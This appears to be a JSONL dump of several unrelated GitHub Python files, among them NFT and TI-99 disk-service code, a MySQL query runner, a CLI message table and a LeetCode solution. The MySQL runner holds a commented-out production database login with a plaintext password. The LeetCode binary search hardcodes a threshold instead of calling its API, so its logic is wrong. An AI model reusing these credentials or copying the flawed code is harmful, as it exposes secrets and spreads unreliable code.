network\n\ndef fund_advanced_collectible(nft_contract):\n # fund from this address\n dev = accounts.add(config['wallets']['from_key'])\n # the 1st `interface` is imported from Brownie\n # LinkTokenInterface refers to the file of the same name under the interface folder\n # link_token is the address, wrapped inside the LinkTokenInterface() to get the ABI\n link_token = interface.LinkTokenInterface(config['networks'][network.show_active()]['link_token'])\n # transfer 0.1 Link (10**17) from \"dev\" to \"nft_contract\"\n link_token.transfer(nft_contract, 10**16, {\"from\": dev})","repo_name":"1codingguy/brownie-nft","sub_path":"scripts/helpful_scripts.py","file_name":"helpful_scripts.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4755879074","text":"a=[10,20,30,40,50]\r\na.append(200)#it will add in the end of the list\r\n# for adding in specific index\r\na.insert(3,400)\r\n# for removing specific value\r\na.remove(30)\r\n# removing:- by index\r\na.pop(0)\r\n# -----------------------\r\nprint(*a)#for printing a whole list it is wriiten like this \"*list\"\r\nb=[1,2,3,4,5] \r\nb.append(6)\r\nc=(a,b)\r\nprint(*c)\r\nprint(c[0][2])","repo_name":"Ronit11011/MyPy","sub_path":"B/rempopapp.py","file_name":"rempopapp.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"73123813371","text":"import os\nimport io\nimport sys\nimport traceback\nimport logging\nfrom Pab import *\nfrom ti_files import ti_files\nfrom tinames import tinames\nfrom tinames import NativeFlags\nfrom TipiConfig import TipiConfig\nfrom SectorDisk import SectorDisk\nfrom ti_files.NativeFile import NativeFile\nfrom ti_files.VariableRecordFile import VariableRecordFile\nfrom ti_files.FixedRecordFile import FixedRecordFile\n\n\nlogger = logging.getLogger(__name__)\ntipi_config = TipiConfig.instance()\n\nclass LevelTwo(object):\n\n def __init__(self, tipi_io):\n self.tipi_io = tipi_io\n self.unitpath = {\n 0: \"\",\n 1: \"\",\n 2: \"\",\n 3: \"\",\n 4: \"\"\n }\n self.handlers = {\n 0x10: self.handleSector,\n 0x12: self.handleProtect,\n 0x13: self.handleFileRename,\n 0x14: self.handleDirectInput,\n 0x15: self.handleDirectOutput,\n 0x17: self.handleSetPath,\n 0x18: self.handleCreateDir,\n 0x19: self.handleDeleteDir,\n 0x1A: self.handleDirRename\n }\n\n def handle(self, msg):\n handler = self.handlers.get(msg[0], self.defaultHandler)\n return handler()\n\n def defaultHandler(self):\n return False\n\n def handleSector(self):\n logger.info(\"sector request\")\n bytes = self.tipi_io.receive()\n unit = bytes[0]\n read_op = bytes[1] != 0\n bytes = self.tipi_io.receive()\n sector = bytes[1] + (bytes[0] << 8)\n logger.info(\"unit: %d, sector: %d, read: %d\", unit, sector, read_op)\n disk_filename = self.getLocalDisk(unit)\n if not disk_filename:\n logger.info(\"no drive mapped for unit %d\", unit)\n self.tipi_io.send([EDEVERR])\n return True\n if read_op:\n self.tipi_io.send([SUCCESS])\n data = SectorDisk.readSector(disk_filename, sector)\n self.tipi_io.send(data)\n else:\n # write op \n self.tipi_io.send([SUCCESS])\n # get data from 4A\n sector_data = self.tipi_io.receive()\n SectorDisk.writeSector(disk_filename, sector, sector_data)\n return True\n\n def handleProtect(self):\n logger.info(\"protect request\")\n bytes = self.tipi_io.receive()\n unit = bytes[0]\n protvalue = bytes[1]\n filename = str(self.tipi_io.receive(), 'latin1').strip()\n logger.info(\"unit: %d, filename: %s, prot: %d\", unit, filename, protvalue )\n\n localfilename = self.getLocalName(unit,filename)\n if localfilename is None:\n logger.info(\"passing request to next device\")\n self.tipi_io.send([EDVNAME])\n return True\n\n try:\n if ti_files.isTiFile(localfilename):\n bytes = self.getFileBytes(localfilename, unit, filename)\n ti_files.setProtected(bytes,protvalue)\n self.saveFile(localfilename, bytes, unit, filename)\n self.tipi_io.send([SUCCESS])\n else:\n self.tipi_io.send([EDEVERR])\n except Exception as e:\n logger.error(\"Error setting protect bit\", exc_info=True)\n self.tipi_io.send([EDEVERR])\n return True\n\n def handleFileRename(self):\n logger.info(\"file rename request\")\n unit = self.tipi_io.receive()[0]\n newfilename = str(self.tipi_io.receive(), 'latin1').strip()\n filename = str(self.tipi_io.receive(), 'latin1').strip()\n logger.info(\"unit: %d, filename: %s, newname: %s\", unit, filename, newfilename)\n\n origlocalname = self.getLocalName(unit,filename)\n if origlocalname is None:\n logger.info(\"passing request to next device\")\n self.tipi_io.send([EDVNAME])\n return True\n newlocalname = self.getLocalName(unit,newfilename)\n\n if not os.path.exists(origlocalname):\n logger.info(\"file doesn't exist: %s\", origlocalname)\n self.tipi_io.send([EDEVERR])\n\n if os.path.exists(newlocalname):\n logger.info(\"target file already exists: %s\", newlocalname)\n self.tipi_io.send([EDEVERR])\n\n if os.path.isdir(origlocalname) or not ti_files.isTiFile(origlocalname):\n os.rename(origlocalname,newlocalname)\n else:\n bytes = self.getFileBytes(origlocalname, unit, filename)\n bytes = ti_files.setHeaderFilename(newfilename, bytes)\n self.saveFile(newlocalname, bytes, unit, filename)\n os.unlink(origlocalname)\n\n logger.info(\"file renamed to: %s\", newlocalname)\n self.tipi_io.send([SUCCESS])\n return True\n\n def handleDirRename(self):\n logger.info(\"dir rename request - delegating to file rename\")\n return self.handleFileRename()\n\n def handleSetPath(self):\n logger.info(\"set path request\")\n unit = self.tipi_io.receive()[0]\n pathname = str(self.tipi_io.receive(), 'latin1').strip()\n logger.info(\"unit: %d, path: %s\", unit, pathname)\n \n # test if device is mapped\n if unit:\n # only check unit greater than 0. TIPI is unit 0 and doesn't\n # get mapped\n mapped = tipi_config.get(f\"DSK{unit}_DIR\")\n if not mapped:\n logger.info(\"device not mapped\")\n self.tipi_io.send([EDEVERR])\n return True\n\n target = tinames.devnameToLocal(pathname)\n if not (os.path.exists(target) and os.path.isdir(target)):\n logger.info(\"target %s does not exist\", target)\n self.tipi_io.send([EDEVERR])\n return True\n\n self.unitpath[unit] = pathname\n logger.info(\"set unit %s path to %s\", unit, pathname)\n self.tipi_io.send([SUCCESS])\n return True\n\n def handleCreateDir(self):\n logger.info(\"create directory request\")\n unit = self.tipi_io.receive()[0]\n dirname = str(self.tipi_io.receive(), 'latin1').strip()\n logger.info(\"unit: %d, dir: %s\", unit, dirname)\n localname = self.getLocalName(unit,dirname)\n if localname is None:\n logger.info(\"passing request to next device\")\n self.tipi_io.send([EDVNAME])\n return True\n try:\n os.makedirs(localname)\n self.tipi_io.send([SUCCESS])\n except Exception as e:\n logger.error(\"Error creating dir\", exc_info=True)\n self.tipi_io.send([EDEVERR])\n return True\n \n def handleDeleteDir(self):\n logger.info(\"delete directory request\")\n unit = self.tipi_io.receive()[0]\n dirname = str(self.tipi_io.receive(), 'latin1').strip()\n logger.info(\"unit: %d, dir: %s\", unit, dirname)\n localname = self.getLocalName(unit,dirname)\n if localname is None:\n logger.info(\"passing request to next device\")\n self.tipi_io.send([EDVNAME])\n return True\n try:\n os.rmdir(localname)\n self.tipi_io.send([SUCCESS])\n except Exception as e:\n logger.error(\"Error deleting dir\", exc_info=True)\n self.tipi_io.send([EDEVERR])\n return True\n\n def handleDirectInput(self):\n logger.info(\"direct input\")\n bytes = self.tipi_io.receive()\n unit = bytes[0]\n blocks = bytes[1]\n filename = str(self.tipi_io.receive(), 'latin1').strip()\n bytes = self.tipi_io.receive()\n startblock = bytes[1] + (bytes[0] << 8)\n logger.info(\"unit: %d, blocks: %d, filename: %s, startblock %d\", unit, blocks, filename, startblock)\n \n localfilename = self.getLocalName(unit,filename)\n if localfilename is None:\n logger.info(\"passing request to next device\")\n self.tipi_io.send([EDVNAME])\n return True\n if not os.path.exists(localfilename):\n logger.error(\"file doesn't exist\")\n self.tipi_io.send([EDEVERR])\n return True\n if os.path.isdir(localfilename):\n logger.error(\"cannot read blocks from a directory\")\n self.tipi_io.send([EDEVERR])\n return True\n\n fbytes = self.getFileBytes(localfilename, unit, filename)\n if fbytes is None:\n logger.error(\"unsupported file for direct-input\")\n self.tipi_io.send([EDEVERR])\n return True\n\n bytestart = 128 + (startblock * 256)\n byteend = bytestart + (blocks * 256)\n total = len(fbytes)\n # due to some other bug, round total up to nearest block\n size_without_header = total - 128\n blocks_used = size_without_header // 256 + (1 if size_without_header % 256 else 0)\n total = 128 + (blocks_used * 256)\n logger.debug(\"requested bytes from file size %d, start: %d, end: %d\", total, bytestart, byteend)\n\n if blocks != 0 and (bytestart >= total or byteend > total):\n logger.error(\"request exceeds file size: %d, start: %d, end: %d\", total, bytestart, byteend)\n self.tipi_io.send([EDEVERR])\n return True\n\n self.tipi_io.send([SUCCESS])\n\n if blocks == 0:\n startblock = ti_files.getSectors(fbytes)\n logger.debug(\"setting total sectors: %d\", startblock)\n\n finfo = bytearray(8)\n finfo[0] = startblock >> 8\n finfo[1] = startblock & 0xff\n finfo[2:] = fbytes[10:16]\n logger.debug(\"Sending finfo\")\n self.tipi_io.send(finfo)\n\n # blocks is max blocks... we could read less, and \n # have to adjust if we do.\n logger.debug(\"Sending adjusted block count\")\n self.tipi_io.send([blocks & 0xFF])\n\n if blocks != 0:\n blockdata = fbytes[bytestart:byteend]\n logger.debug(\"Sending file data: %d bytes\", len(blockdata))\n self.tipi_io.send(blockdata)\n\n return True\n\n def handleDirectOutput(self):\n logger.info(\"direct output\")\n bytes = self.tipi_io.receive()\n unit = bytes[0]\n blocks = bytes[1]\n filename = str(self.tipi_io.receive(), 'latin1').strip()\n bytes = self.tipi_io.receive()\n startblock = bytes[1] + (bytes[0] << 8)\n finfo = bytes[2:]\n \n logger.info(\"unit: %d, blocks: %d, filename: %s, startblock %d\", unit, blocks, filename, startblock)\n\n localfilename = self.getLocalName(unit,filename)\n if localfilename is None:\n logger.info(\"passing request to next device\")\n self.tipi_io.send([EDVNAME])\n return True\n if os.path.exists(localfilename) and os.path.isdir(localfilename):\n logger.info(\"folder with same name exists\")\n self.tipi_io.send([EDEVERR])\n return True\n\n bytestart = 128 + (startblock * 256)\n byteend = bytestart + (blocks * 256)\n logger.info(\"requested bytes start: %d, end: %d\", bytestart, byteend)\n\n if os.path.exists(localfilename) and blocks != 0:\n fbytes = self.getFileBytes(localfilename, unit, filename)\n else:\n raw = bytearray(byteend - 128)\n header = ti_files.createHeader(0, filename, raw)\n logger.debug(\"header len %d, raw len %d\", len(header), len(raw))\n fbytes = header + raw\n logger.debug(\"created file bytes: %d\", len(fbytes))\n\n if blocks == 0:\n fbytes[10:16] = finfo[0:6]\n total = 128 + (256 * ti_files.getSectors(fbytes))\n self.saveFile(localfilename, fbytes, unit, filename)\n else:\n total = 128 + (256 * ti_files.getSectors(fbytes))\n if bytestart >= total or byteend > total:\n logger.error(\"request exceeds file size: %d, start: %d, end: %d\", total, bytestart, byteend)\n self.tipi_io.send([EDEVERR])\n return True\n\n logger.info(\"Accepting request\")\n self.tipi_io.send([SUCCESS])\n\n if blocks == 0:\n return True\n\n blockdata = self.tipi_io.receive()\n fbytes[bytestart:byteend] = blockdata\n self.saveFile(localfilename, fbytes, unit, filename, cleanup=(byteend == total))\n\n self.tipi_io.send([SUCCESS])\n return True\n \n def getDevname(self, unit, filename):\n if self.unitpath[unit] != \"\":\n return self.unitpath[unit] + filename\n else:\n return \"DSK\" + str(unit) + \".\" + filename\n\n def getLocalName(self, unit, filename):\n devname = self.getDevname(unit, filename)\n return tinames.devnameToLocal(devname)\n\n def getFileBytes(self, localname, unit, filename):\n if os.path.exists(localname + \".tifile\"):\n localname = localname + \".tifile\"\n with open(localname, 'rb') as fh:\n bytes = bytearray(fh.read())\n if len(bytes) >= 128 and ti_files.isValid(bytes):\n return bytes\n if NativeFlags.TEXT_WINDOWS == tinames.nativeTextDir(localname):\n logger.info(\"getFileBytes reading lines from native file\")\n devname = self.getDevname(unit, filename)\n # try to load the NativeFile, and then ask it to convert to bytes \n records = NativeFile.loadLines(localname, 80)\n logger.info(\"found %d records\", len(records))\n # make a VariableRecordFile, pack, and get the bytes\n return VariableRecordFile.fromNative(devname, localname, records).get_bytes()\n else:\n # treat it like a DIS/FIX 128\n logger.info(\"getFileBytes reading bytes from native file\")\n devname = self.getDevname(unit, filename)\n records = NativeFile.loadBytes(localname, 128)\n logger.info(\"found %d records\", len(records))\n # make a FixedRecordFile, pack, and get the bytes\n return FixedRecordFile.fromNative(devname, localname, records).get_bytes()\n\n return None\n \n def saveFile(self, localname, bytes, unit, filename, cleanup=False):\n save_name = localname\n native_text_mode = False\n if ti_files.isVariable(bytes) and ti_files.recordLength(bytes) == 80 and not ti_files.isInternal(bytes) and not ti_files.isProgram(bytes):\n native_text_mode = NativeFlags.TEXT_WINDOWS == tinames.nativeTextDir(localname) and not ti_files.isTiFile(localname)\n if native_text_mode:\n save_name = localname + \".tifile\"\n logger.info(\"native_text_mode output enabled\")\n\n logger.info(\"saveFile len: %d\", len(bytes))\n with open(save_name,\"wb\") as fh:\n fh.write(bytes)\n\n if native_text_mode:\n logger.info(\"converting %s to native text file %s\", save_name, localname)\n devname = self.getDevname(unit, filename)\n with open(save_name, 'rb') as fh:\n allbytes = fh.read()\n VariableRecordFile.toNative(devname, localname, allbytes)\n logger.info(\"save completed.\")\n if cleanup:\n logger.info(\"cleaning up %s\", save_name)\n os.unlink(save_name)\n\n def getLocalDisk(self,unit):\n devname = \"DSK\" + str(unit) + \".\"\n return tinames.devnameToLocal(devname)\n\n","repo_name":"jedimatt42/tipi","sub_path":"services/LevelTwo.py","file_name":"LevelTwo.py","file_ext":"py","file_size_in_byte":15162,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"78"} +{"seq_id":"38643702831","text":"# pylint: disable-msg=E0611\nfrom trump.utils import ok, fail\nfrom sanic import response\nimport asyncio\nimport json\nimport subprocess\nfrom trump.query import create_item, get_items, get_item, modify_item\nimport base64\nimport time\nimport pymysql.cursors\nfrom datetime import datetime\n\nimport aiohttp\nimport asyncio\n\ndef sql_exec(sqls, db_config):\n success = True\n #if db == 'prd':\n # db_config = {\"host\": \"10.8.0.114\", \"user\": \"mjmh_prd\", \"password\": \"mjmh123!@#\", \"port\": 33066, \"db\": \"social_commerce\", \"use_unicode\": True, \"charset\": \"utf8mb4\", \"autocommit\": True}\n\n connection = pymysql.connect(\n **db_config,\n cursorclass=pymysql.cursors.DictCursor) \n cursor = connection.cursor() \n results = []\n try:\n for sql in sqls:\n if sql:\n r = cursor.execute(sql)\n results.append({\"sql\": sql, \"affect\": r, \"return\": cursor.fetchall()})\n except Exception as e:\n results.append({\"sql\": sql, \"exception\": str(e) })\n success = False\n cursor.close()\n connection.close()\n return success, results\n\n\nasync def main(env, custom_args={}):\n args = {'db': 'db', 'data': 'data', 'uid': 'uid'}\n args.update(custom_args)\n db = env.get(args.get('db'))\n uid = env.get(args.get('uid'))\n content = env.get('data').get('content')\n sql = content['sql']\n db_id = int(content['db'])\n db_info = await get_item(db, 'mysql_databases', db_id)\n db_server = await get_item(db, 'mysql_servers', db_info.get('server_id'))\n db_config = {\"host\": db_server.get('host'), \n \"user\": db_server.get('username'),\n \"password\": db_server.get('password'),\n \"port\": db_server.get('port'),\n \"db\": db_info.get('database'),\n \"use_unicode\": True, \n \"charset\": \"utf8mb4\", \n \"autocommit\": True}\n # try:\n # status = json.loads(sql.get('status'))\n # except:\n # status = {}\n # if status:\n # return -2, \"已执行\"\n sqls = [x.strip() for x in sql.strip().split(';')]\n if sqls:\n loop = asyncio.get_running_loop()\n success, result = await loop.run_in_executor(\n None, sql_exec, sqls, db_config)\n print(result)\n status = 0 if success else 1\n #await modify_item(db, 'sqls', sql.get('id'), {'status': json.dumps({\"uid\":uid, \"result\": str(result), \"time\": time.time(), \"status\": 0 if success else 1})})\n return status, result\n else:\n return -1, '命令不存在'\n\nasync def run_helper():\n from trump.config import DB_CONFIG\n from trump.query import create_item, get_items, create_pools\n loop = asyncio.get_event_loop()\n db = await create_pools(loop, **DB_CONFIG)\n result = await main({\n 'db': db,\n 'data': {'content': {'sql': 'select 1', 'db': 1}},\n 'uid': 1,\n })\n print(result)\n\nif __name__ == '__main__':\n asyncio.run(run_helper())\n","repo_name":"chengkejian/developer","sub_path":"server/funcs/mysql_runner.py","file_name":"mysql_runner.py","file_ext":"py","file_size_in_byte":2950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29467800660","text":"from utils import color\nfrom browser import help\nimport random\n\ndef get(cmds, typ, add_attr=None):\n\t'''\n\tUSE:\n\terror.get(cmds, type, [optional:add_attr]) where add_attr must be < 3\n\t\n\tDescription:\n\tReturns a correctly colored message according to declared \"typ\"\n\t'''\n\t#---------------------------------------------------------------\n\tif not add_attr:\n\t\tadd_attr = [None,None,None]\n\telif len(add_attr)<3:\n\t\tfor i in range(3-len(add_attr)):\n\t\t\tadd_attr.append(None)\n\tif len(cmds) < 2:\n\t\tcmds.append(None)\n\t\n\toperator = help.spfc_opr(cmds[0],True)\n\tnames=[None,None,None]\n\tif operator == 'q':\n\t\tnames = ['Ken Rotaris', 'Tunahan Erbay', 'Leonardo Salsi']\n\t\trandom.shuffle(names) #names in random order\n\t\tnames[0] = color.bold(color.red(names[0]))\n\t\tnames[1] = color.bold(color.greenDark(names[1]))\n\t\tnames[2] = color.bold(color.yellow(names[2]))\n\t\trandom.shuffle(names)\n\t\t\n\tdictionary = {\n\t\t#command | messages #TODO: blank messages are not being used yet/ have not ben set yet.\n\t\t'cd' : {'success': color.greenDark(''),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('The directory does not exist')\n\t\t\t\t\t},\n\t\t'open': \t\t{'success': color.greenDark(''),\n\t\t\t\t \t'warning': color.yellow('wrong argument format'),\n\t\t\t\t \t'error': color.red('unable to open file')\n\t\t\t\t \t},\n\t\t'ls' : {'success': color.greenDark(''),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('given directory doesn\\'t exist'),\n\t\t\t\t\t'unknown': color.red('Unknown option \\'{}\\''.format(cmds[1]))\n\t\t\t\t\t},\n\t\t'cat' : {'success': color.greenDark(''),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('file doesn\\'t exist at \\'{1}\\''.format(cmds[0], add_attr)),\n\t\t\t\t\t'nt_supp': color.red('file type currently not supported by \\'{}\\' command'.format(cmds[0])),\n\t\t\t\t\t'hint'\t : color.grey('tip: use \\'{}\\' followed by an integer to display a range.'.format(cmds[0]))\n\t\t\t\t\t},\n\t\t'mk' : {'success': color.greenDark('folder {0} created'.format(add_attr[0])), #add_attr = [name, path]\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'file_error' : color.red('name cannot contain a dot'), #add_attr = [name, typ, path]\n\t\t\t\t\t'format_error' : color.red('please use command as follows: mk '),\n\t\t\t\t \t'path_error': color.red('the path the folder is to be created in does not exist'.format(add_attr))\n\t\t\t\t },\n\t\t'add'\t : {'success': color.greenDark('File added to the filesystem.'),\n\t\t\t\t\t# add_attr = [name, path]\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error': color.red('{0} \"{1}\" already exists at {2}'.format(add_attr[1], add_attr[0], add_attr[2])),\n\t\t\t\t\t# add_attr = [name, typ, path]\n\t\t\t\t\t'path_error': color.red('The source does not exist'.format(add_attr)),\n\t\t\t\t\t'format_error': color.red('\\'{}\\' either outside of the filesystem or not an existing directory'.format(add_attr[2])),\n\t\t\t\t\t'nodstdir': color.red('Destination folder does not exist.'),\n\t\t\t\t\t'fs_error': color.red('Cannot add files from within the filesystem.')\n\t\t\t\t\t },\n\t\t'rm' : {'success': color.greenDark('deleted {0} from {1}'.format(add_attr[0], add_attr[1])), #add_attr = [name, path]\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('{0} \"{1}\" does not exists at {2}'.format(add_attr[1], add_attr[0], add_attr[2])), #add_attr = [name, typ, path]\n\t\t\t\t\t'path_error' : color.red('\\'{}\\' doesn\\'t exist'.format(add_attr))\n },\n\t\t'mount' : {'success': color.greenDark('Filesystem mounted successfully.'),\n\t\t\t\t\t'warning': color.yellow('Mount a filesystem of an other user with mnt []'),\n\t\t\t\t\t'error' : color.red('Unable to mount filesystem.'),\n\t\t\t\t\t'nodst': color.red('Destination path does not exist.')\n\t\t\t\t\t},\n\t\t'umt' : {'success': color.greenDark(''),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('')\n\t\t\t\t\t},\n\t\t'exp' : {'success': color.greenDark('Filesystem has been successfully exported!'),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('No root_mockup folder found at current location or its super folders \\'{}\\'.'.format(add_attr[0]))\n\t\t\t\t\t},\n\t\t'mkp' : {'success': color.greenDark(''),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('folder \\'{0}\\' already exists at \\'{1}\\''.format(add_attr[0], add_attr[1]))\n\t\t\t\t\t},\n\t\t'pwd' : {'success': color.greenDark(''),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('')\n\t\t\t\t\t},\n\t\t'img' : {'success': color.greenDark('sucessfully created image \\'{0}\\' at \\'{1}\\''.format(add_attr[0], add_attr[1])),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('')\n\t\t\t\t\t},\n\t\t'txt' : {'success': color.greenDark('sucessfully created text \\'{0}\\' at \\'{1}\\''.format(add_attr[0], add_attr[1])),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('')\n\t\t\t\t\t},\n\t\t'mv' : {'success': color.greenDark('sucessfully moved file \\'{0}\\' to \\'{1}\\''.format(add_attr[0], add_attr[1])),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('the {0} path \\'{1}\\' doen\\'s exist'.format(add_attr[0], add_attr[1])),\n\t\t\t\t\t'sameDir': color.grey('Information: you moving a file/folder within the same directory.'),\n\t\t\t\t\t'nodstdir': color.red('The destination directory does not exist.'),\n\t\t\t\t\t'nosrcdir': color.red('The source file or directory does not exist.')\n\t\t\t\t\t},\n\t\t'cp' : {'success': color.greenDark('sucessfully copied file \\'{0}\\' to \\'{1}\\''.format(add_attr[0], add_attr[1])),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('the {0} path \\'{1}\\' doen\\'s exist'.format(add_attr[0], add_attr[1]))\n\t\t\t\t\t},\n\t\t'rn' : {'success' : color.greenDark('sucessfully renamed file \\'{0}\\' to \\'{1}\\''.format(add_attr[0], add_attr[1])),\n\t\t\t\t\t'warning' : color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('the given path \\'{0}\\' doen\\'s exist'.format(add_attr[0])),\n\t\t\t\t\t'nosrcdir': color.red('The source file or directory does not exist.')\n\t\t\t\t\t},\n\t\t'f' \t : {'success': color.greenDark('\\'{0}\\' found at {1}'.format(add_attr[0], add_attr[1])),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('\\'{0}\\' not found in \\'{1}\\''.format(add_attr[0], add_attr[1]))\n\t\t\t\t\t},\n\t\t'--help' : {'success': color.greenDark(''),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('')\n\t\t\t\t\t},\n\t\t'quit' : {'success': '\\n Thanks for using our Application!\\n Made with ' + color.bold(\n color.redLight('<3')) + ' by: {0}, {1}, {2}\\n'.format(names[0], names[1], names[2]),\n\t\t\t\t\t'warning': color.yellow('If you want to terminate program, enter q without further arguments.'),\n\t\t\t\t\t'error' : color.red('If you want to terminate the program, enter q without further arguments.')\n\t\t\t\t\t},\n\t\t'clear' : {'success': color.greenDark(''),\n\t\t\t\t\t'warning': color.yellow('wrong argument format'),\n\t\t\t\t\t'error' : color.red('')\n\t\t\t\t\t}\n\t\t\t\t\t\n\t}\n\t\n\treturn dictionary[operator][typ]\n\t\n\t\n\t\n","repo_name":"cn-uofbasel/BACnet","sub_path":"20-hs-redez-sem/groups/02-unionDir/filesystem-redez-client/utils/error.py","file_name":"error.py","file_ext":"py","file_size_in_byte":7124,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"7210291494","text":"from importlib.metadata import version\n\n\nclass Solution:\n \"\"\"\n You are a product manager and currently leading a team to develop a new product. Unfortunately, the latest version of your product fails the quality check. Since each version is developed based on the previous version, all the versions after a bad version are also bad.\n\n Suppose you have n versions [1, 2, ..., n] and you want to find out the first bad one, which causes all the followIndexing ones to be bad.\n\n You are given an API bool isBadVersion(version) which returns whether version is bad. Implement a function to find the first bad version. You should minimize the number of calls to the API.\n \"\"\"\n def isBadVersion(self, versionNumber: int ) -> bool:\n return versionNumber >= 10\n \n def firstBadVersion(self, n: int) -> int:\n \"\"\"Binary search.\n\n Args:\n n (int): _description_\n\n Returns:\n int: _description_\n \"\"\"\n highIndex = n\n lowIndex = 0\n \n #Dictionaries are used to store data values in key:value pairs. (dont actually need dictionary)\n testedNumbers = {\n -1: False #false = good version\n }\n \n #while both search indices haven't converged \n while( lowIndex != highIndex):\n #find new middle index\n midIndex = int( (highIndex + lowIndex) / 2 )\n \n print(\"new mid index = \", midIndex)\n print(\"high index = \", highIndex)\n print(\"low index = \", lowIndex)\n \n isMiddleBadVersion = midIndex >= 5\n \n #add to dictionary whether this version number is bad\n testedNumbers[midIndex] = isMiddleBadVersion\n \n #if point tween high+low is bad\n if( isMiddleBadVersion ):\n \n #find if version right before is bad\n versionBeforeIsBad = testedNumbers.get(midIndex-1) #get rets None of no key of that val in dictionary\n \n #if version before's been tested and it's good\n if(versionBeforeIsBad != None and versionBeforeIsBad == False): \n #return the mid index version as the first bad version\n return midIndex\n \n #assign new high index at discovered bad version\n highIndex = midIndex \n #if point tween high + low isnt bad\n else:\n #assign new bot index right above good version\n lowIndex = midIndex + 1\n \n #return one of the converged indices\n return highIndex\n\n def firstBadVersionSol(self, n):\n \"\"\"Simple binary search using two pointers.\n\n Args:\n n (_type_): _description_\n\n Returns:\n _type_: _description_\n \"\"\"\n l=1\n r=n\n while l 0:\n str_aux = \", \".join(list(aux))\n clean()\n raise Exception(\n \"Error: {} called inside {} is not defined\"\n .format(\n ','.join(['\"{}\"'.format(a) for a in aux]),\n func\n )\n )\n\n # Check if every name is a function name or an argument in the current function\n for func in namesOut['functions']:\n set_of_args = {arg for arg in namesOut['args'][func]}\n set_of_wheres = {where[\"var\"] for where in _whereDict[func]}\n set_of_lambda_vars = {var for var in _lambda_closure[func]} if func in _lambda_closure else set()\n aux = (_names[func] - set_of_args) - set_of_functions - set_of_wheres - set_of_lambda_vars\n if len(aux) > 0:\n str_aux = \", \".join(list(aux))\n clean()\n raise Exception (\"Error: {} used inside {} not declared\".format(str_aux, func))\n\n global _eta\n if _eta:\n etaOptimization()\n\n _exec_tree = ast.execute(_functions['main'])\n execOut['tree'] = dict(_exec_tree)\n clean()\n\n# Clean variables and symbol table\ndef clean():\n global lambdaCounter\n lambdaCounter = 0\n global _lambda_childrens\n _lambda_childrens = []\n global _lambda_closure\n _lambda_closure = {}\n\n symboltable.clean()\n if ast._memo:\n ast.memoized = {}\n global _names\n _names = {}\n global _names_aux\n _names_aux = set()\n global _dependence_aux\n _dependence_aux = set()\n global _functions\n _functions = {}\n global _whereDict\n _whereDict = {}\n global _args\n _args = {}\n global _dependence\n _dependence = {}\n\n global _exec_tree\n _exec_tree = {}\n\n global _eta\n _eta = False\n global _eta_list\n _eta_list = []\n global _eta_temp\n _eta_temp = 0\n\n global _pattern_functions\n _pattern_functions = {}\n\n# Do the pattern matching\ndef patternMatching():\n global _functions\n global _args\n global _pattern_functions\n\n for func in _functions:\n if len(_functions[func]) == 1:\n _functions[func] = _functions[func][func]\n _args[func] = _args[func][func]\n else:\n _pattern_functions[func] = True\n tree = _functions[func][func]\n argsList = _args[func][func]\n for patternKey in _functions[func]:\n if patternKey != func:\n argsValues = _args[func][patternKey]\n eqs = []\n for (arg, value) in zip(argsList, argsValues):\n if arg != value:\n eqs += [ast.Binop(ast.Identifier(arg), \"==\", value)]\n cond = eqs[0]\n for i in range(1,len(eqs)):\n cond = ast.Binop(cond, \"and\", eqs[i])\n tree = ast.Conditional(cond, _functions[func][patternKey], tree)\n _functions[func] = tree\n _args[func] = argsList\n\n# Set optimization flag\ndef setOptimization(eta_flag, fold_flag, prop_flag, memo_flag):\n global _eta\n _eta = eta_flag\n ast.setOptimization(fold_flag, prop_flag, memo_flag)\n\n# Do the eta optimization\ndef etaOptimization():\n global _eta_list\n global _functions\n global _eta_temp\n global _whereDict\n global _args\n global _pattern_functions\n\n toRemove = []\n for func in _eta_list:\n if func in _pattern_functions:\n toRemove.append(func)\n for func in toRemove:\n _eta_list.remove(func)\n\n # Search while there is a function to be optimized\n while len(_eta_list) > 0:\n # Search one entry that calls a function that is not an Application\n l = len(_eta_list)\n i = 0\n while i < l:\n node = _functions[_eta_list[i]]\n args = []\n while type(node) is ast.Application:\n args = [node.arg] + args\n node = node.func\n if type(_functions[node]).__name__ != \"Application\":\n # Build a new where list\n funcWhere = []\n init = _eta_temp\n for arg in args:\n if arg != None:\n funcWhere += [{'var': \"{}arg\".format(_eta_temp), 'expression': arg}]\n _eta_temp += 1\n\n # Build an arg map\n argMap = {}\n p = 0\n for num in range(init, _eta_temp):\n argMap[_args[node][p]] = \"{}arg\".format(num)\n p += 1\n\n # Change variables 